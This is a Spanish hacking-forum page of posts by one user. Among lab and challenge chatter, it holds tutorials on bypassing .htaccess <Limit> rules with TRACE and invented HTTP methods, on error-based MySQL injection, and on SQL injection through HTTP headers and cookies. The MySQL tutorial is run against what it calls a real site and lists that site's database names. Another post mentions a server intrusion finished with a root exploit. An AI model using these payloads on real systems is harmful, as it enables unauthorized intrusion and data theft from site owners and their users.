Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - q3rv0

#201
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
solo si tu puedes me podrias pasar algun libro sobre networking

Este te va a servir! No tienes permitido ver los links. Registrarse o Entrar a mi cuenta...agarra mas los libros antes que imitar lo que realizan en los videos sin previo conocimiento.


Citar...pero como tu ya eres un Dios...

LOL..alavado sea CorruptedByte XD!...amen!

#202
Gracias a la Startup de Hack a Server es posible crear un server vulnerable con el que podrás practicar junto con otra gente pentesting en un entorno real.

Sitio: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Para configurar tu máquina has de seguir unos pocos pasos.

Primero registrarse:

Una vez ya estamos registrados podremos ir a crear una máquina nueva

Al crear el target podemos escoger diferentes opciones

En mi caso he elegido Ubuntu. Proporcionas la cuenta de root y listo.

Finalmente en el Dashboard puedes ver un resumen de la máquina creada.

Hack a server como  ya sabréis proporciona VPN para poder conectarte a su entorno y realizar las prácticas pertinentes.

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#203
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
[Q]3rV[0], podrías por favor explicar el criterio utilizado para saber a partir de qué posición encontrar la frase?

Gracias.

La frase estaba oculta en los metadatos de la imagen, en el campo comment, el video lo hizo un amigo, el uso un editor hexadecimal para descubrir la frase,  pero tambien se podria haber utilizado la herramienta jhead viendo las cabeceras.



#204
Les dejo el solucionario del reto en video producido por Arthusu, para quienes participaron "gracias".

Solo dos personas descubrieron la frase oculta...."El me ve" XD

1- CalebBucker

2- Arthusu




#205
Bugs y Exploits / Jugando con .htaccess
Agosto 08, 2012, 02:54:20 AM
La mayoria ya conoce cual es la funcion de este archivo en el servidor encargandose de actuar sobre el fichero de configuracion de apache "httpd.conf"

Permite:

Redireccion de url's

Respuestas de error personalizadas.

Proteccion de directorios, subdirectorios y ficheros en el servidor.

Certificados de autentificacion http.

etc...


No vengo a escribrir de como implementar cada una de sus funciones.

En la Black-Hat pasada se hablo de una supuesta vulnerabilidad en .htaccess, yo creo que mas que una vulnerabilidad es solo una mala implementacion del metodo <Limit> cuando se desea restringir el acceso a cierto directorio/fichero presentando un certificado de autentificacion http.

En cuanto a estos tipos de certificados tenemos los:

Basicos: La contraseña viaja en texto plano

Resumen: El servidor le aplica un hash al password antes de ser enviado.

En la siguiente imagen podemos encontrar un servidor que implementa un certificado de tipo basico.





Conociendo la cantidad de admins que andan sueltos, Podriamos deducir para suerte nuestra que nos estariamos encontrando con un .htaccess configurado de la siguiente manera (supongamos).

Código: php
AuthUserFile .htpasswd
AuthName "Area Radioactiva"
AuthType Basic

<Limit GET>
require valid-user
</Limit>


Donde esta la mala implementacion?

<Limit GET>

Vemos que solo se limita a peticiones GET, dejando de lado TRACE, OPTIONS, POST, PUT, COPY, MOVE, DELETE, TRACK, etc, entre otras.

Podriamos obtener el contenido de algun fichero detras de la proteccion utilizando el metodo POST.



Otras configuraciones mas restringidas incluyen el metodo POST como limite.

Código: php
AuthUserFile .htpasswd
AuthName "Area Radioactiva"
AuthType Basic

<Limit GET POST>
require valid-user
</Limit>



Pero eso no nos niega la posibilidad de enumerar los ficheros y directorios protegidos por .htaccess utilizando los demas metodos que se hayen habilitados en el servidor.

Si analizamos, ahun existiendo o no el path /files/pass.txt, el servidor nos responderia con el mismo error 401 (no autorizado)



Lo mismo pasara al realizar una peticion POST, pero que hay de los demas metodos, como responderia ante una peticion http que no este dentro de los <Limit> ? por ejemplo TRACE.

Código: php
TRACE /files/pass.txt HTTP/1.0

HTTP/1.0 200 ok
Date: Thu, 05 Jul 2012 10:53:32 GTM
Server: Apache /2.2.3 (centOS)
Connection: close
Content-type: message/http
TRACE /files/pass.txt HTTP/1.0


Evidentemente nos responde con 200 ok, hemos logrado evadir la restriccion del .htaccess para deducir la existencia del fichero en el servidor, en caso de no existir el servidor nos responderia con un error 404.

Otro manera seria realizar peticiones con metodos no implementados e inexistentes como GETS, el servidor lo tomaria como si se tratara de un metodo GET.

Código: php
GETS /files/pass.txt HTTP/1.1

HTTP/1.0 200 ok
Date: Thu, 05 Jul 2012 10:53:32 GTM
Server: Apache /2.2.3 (centOS)
Connection: close
Content-type: message/http

q3rv0:queteimporta


Este tipo de evaciones lo implementa la herramientas HTexploit.



Saludos!





#206
Hola nuevamente y bienvenidos a todos a un nuevo tutorial sobre inyecciones mysql, solo que en este post vengo a exponer otro tipo de tecnica "MYSQL ERROR BASED", no encontre ninguno en español, y poco se explica de este tipo de inyecciones en papers en ingles, asi que
me dispongo a desmembrar la estructura del ataque con los conociemiento que poseo en el lenguaje mysql.

Antes que nada, es necesario que sepan sobre inyecciones simples usando las clausulas "union+select".

Se utilizara un entorno real para elaborar el tutorial.



Buscando errores del tipo mysql y una vez encontrado el script vulnerable, me dispongo a comenzar la inyeccion.

Código: php
/shop.php?pid=1 order by 2--
error!





1 columna!


Entonces comenzamos con la tecnica "union select"

Código: php
/shop.php?pid=1 union select 1--
      error!.. :(



Definitavamente no recivimos ningun dato de la columna para poder realizar la inyeccion, mas que un error.

Que hacemos entonces????

En esta situaciones, mas de uno agarrara el havij o  el nmap, y si! obtendra resultados, pero se preguntara como los obtuvo?
de que me estoy perdiendo? como era la inyeccion en si?

Basicamente la inyeccion es esta.
Código: php

1 and (select 1 from (select count(*),concat((select (select concat(user())) from information_schema.tables limit 0,1),
floor(rand(0)*2))columna from information_schema.tables group by columna)tabla)--


complicadita de entender a simple vista??

Con esta sentencia obtenemos el usuario que corre en la base de datos.




Pero que paso, como dije anteriormente, a esta tecina se le llama "doble query/error based" por lo tanto engañamos a la base de datos, con una doble consulta, para que en el error 1062 (Duplicate entry) nos revele el resultado de la inyeccion. Algo similar pasa en las inyecciones myssql.

Pero vallamos mas en profundidad.

Hay un par de funciones que llaman la atencion y son rand() y floor()

Para que sirven?

rand(): Nos devuelve un valor aleatorio en punto flotante en el rango 0 a 1.0. por ejemplo.

Código: php
mysql> select rand(20);
+-------------------+
| rand(20)          |
+-------------------+
| 0.158882612510475 |
+-------------------+
1 row in set (0.00 sec)

mysql>


floor(): retorna el valor entero mas grande pero no mayor a la variable que se le pase.

Código: php
mysql> select floor(5.65);
+-------------+
| floor(5.65) |
+-------------+
|           5 |
+-------------+
1 row in set (0.00 sec)

mysql>


Lo que mas me costo entender no fue como funcionaban ambas funciones floor(rand(0)*2) si no que fue para que se incluian dentro de la
sentencia.

Podemos ver que el resultado de combinar ambas es igual a 0.

Código: php
mysql> select floor(rand(0)*2);
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
+------------------+
1 row in set (0.00 sec)

mysql>


El funcionamiento seria de la siguiente manera, rand() genera un valor aleatorio a partir de 0.

Código: php
mysql> select rand(0);
+-------------------+
| rand(0)           |
+-------------------+
| 0.155220427694936 |
+-------------------+
1 row in set (0.00 sec)

mysql>


ese valor se multiplica 2 (*2)

Código: php
mysql> select (rand(0)*2);
+-------------------+
| (rand(0)*2)       |
+-------------------+
| 0.310440855389871 |
+-------------------+
1 row in set (0.00 sec)

mysql>


Por ultimo floor() nos da el valor entero mas grande pero no mayor.

Código: php
mysql> select floor(0.310440855389871);
+--------------------------+
| floor(0.310440855389871) |
+--------------------------+
|                        0 |
+--------------------------+
1 row in set (0.00 sec)

mysql>


El fucking 0!

Ahora como influye este 0 con el resultado de la inyeccion? influye generando el error en la consulta.

Si comenzamos a realizar inyecciones vemos que solo una parte varia, y es el primer query, donde realizaremos nuestras consultas a la base de datos

1 and (select 1 from (select count(*),concat((select (INJECTION),
floor(rand(0)*2))columna from information_schema.tables group by columna)tabla)--


=============================
Enumeracion de db's
=============================

Código: php
1 and (select 1 from (select count(*),concat((select (select concat(schema_name)) from information_schema.schemata limit 0,1),
floor(rand(0)*2))columna from information_schema.tables group by columna)tabla)--



Database: information_schema

Código: php
1 and (select 1 from (select count(*),concat((select (select concat(schema_name)) from information_schema.schemata limit 1,1),
floor(rand(0)*2))columna from information_schema.tables group by columna)tabla)--




Database: appcraft7_appcra



Vamos variando el resultado utilizando la funcion limit.

Asi podemos ir enumerando las tablas dentro de appcraft7_appcra, obteniendo informacion de columnas y campos dentro de las tablas, etc.

Espero que les haya sido de utilidad! un saludo comunidad!





#207
jaja no te hagas el humilde la tenes bastante clara en el diseño grafico, ya lo estoy bautizando en el desktop  ;D
#208
jeje esa intrucion la realizamos crack y yo en el server y ar3sw0rmed la termino con un root exploit que no pudimos hallar, aca dejo el post.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

#209
uy, me disculpo jeje andaba con la cabeza en cualquier lado!
#210
Cuando realizamos pruebas de variables en una aplicacion web en busca de vulnerabilidades del tipo SQLI o Blind SQLI nos limitamos a testearla solo mediante peticiones GET y POST pero nos olvidamos o desconocemos de otros parametros que pueden ser inyectados para obtener un lindo error de la DB que nos permita meterle jeringa hasta sacarle jugo a  toda la informacion posible.

¿Y los parametros de una cabecera HTTP? ¿no son inyectables?



Este es un analisis que se realizo usando varios scaneres de aplicaciones web de codigo abierto y comerciales, como se puede distinguir, el 75%  de estas herramientas no pudo encontrar una vulnerabilidad en los encabezados HTTP, por otro lado el 70% de estos scaneres no inspecciona las cookies. Generalmente y si no me queda mas que indagar en las cabeceras trato de buscar este tipo de vulns a mano limpia, como deberia hacerse con todo :)

Posibles encabezados HTTP para inyecciones SQL

Los campos de la cabecera HTTP




X-Forwarded-For

X-Forwarded-For es un campo de encabezado HTTP para la identificación de la dirección IP de origen de un cliente que se conecta a un servidor web a través de un proxy HTTP o un equilibrador de carga.

Vamos a ver un ejemplo de esta falla

Código: php
$req = mysql_query("SELECT user,password FROM admins WHERE user='".sanitize($_POST['user'])."' AND password='".md5($_POST['password'])."' AND ip_adr='".ip_adr()."'");


La variable login es controlada por la funcion sanitize()

Código: php
function sanitize($param){ if (is_numeric($param)) { return $param; } else { return mysql_real_escape_string($param); } } 


Vamos a inspeccionar la variable ip controlada por la funcion ip_addr()

Código: php
function ip_adr() { if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip_adr = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip_adr = $_SERVER["REMOTE_ADDR"]; } if (preg_match("#^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}#",$ip_addr)) { return $ip_adr; } else { return $_SERVER["REMOTE_ADDR"]; } 



Obviamente, la dirección IP se obtiene del parametro X_FORWARDED_FOR. Luego es controlado por preg_match que verifica si el valor corresponde a una dirección IP

la variable HTTP_X_FORWARDED_FOR  no es verificada apropiadamente antes de su valor que se utiliza en la consulta SQL. Esto puede llevar a ejecutar cualquier consulta SQL mediante la inyección de código SQL arbitrario en este campo.

La simple modificación de este campo de encabezado a algo así como :}

Código: php
GET /index.php HTTP/1.1
X_FORWARDED_FOR :127.0.0.1' or 1=1#


User-Agent

Tambien podemos hacer uso de este parametro para verificar
GET /index.php HTTP/1.1
User-Agent: aaa' or 1/*

Referer

Código: php
GET /index.php HTTP/1.1
Host: [host]
User-Agent: aaa' or 1/*
Referer: http://underterminal.nixiweb.com


Cookie

Podemos testear el parametro cookie manualmente complementando algun addon en el navegador que nos permita hacer esto, como Cookies Manager+ o el Tamper Data, asi inyectamos una sqli en el campo content.








O usando alguna herramienta de automatizacion como Sqlmap






Espero que les haya servido muchachos! saludos!